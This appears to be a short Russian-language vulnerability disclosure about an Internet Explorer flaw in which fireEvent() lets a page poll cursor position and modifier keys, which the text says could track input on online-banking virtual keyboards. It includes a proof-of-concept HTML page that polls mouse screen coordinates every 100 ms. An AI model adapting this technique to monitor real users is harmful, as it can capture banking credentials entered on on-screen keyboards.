Эксплуатация уязвимости может быть так же использована для отслеживания действий пользователя при авторизации в онлайн-банкинге, где используются виртуальные клавиатуры для защиты от клавиатурных шпионов.
Уязвимость связана с особенностями реализации вызова JS-событий и функции fireEvent(), которая позволяет опрашивать движение курсора. Метод позволяет отслеживать altKey, altLeft, clientX, clientY, ctrlKey, ctrlLeft, offsetX, offsetY, screenX, screenY, shiftKey, shiftLeft, x и y.
POC:
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>Exploit Demo</title> <script type="text/javascript"> window.attachEvent("onload", function() { var detector = document.getElementById("detector"); detector.attachEvent("onmousemove", function (e) { detector.innerHTML = e.screenX + ", " + e.screenY; }); setInterval(function () { detector.fireEvent("onmousemove"); }, 100); }); </script> </head> <body> <div id="detector"> </div> </body> </html> |
Подробнее: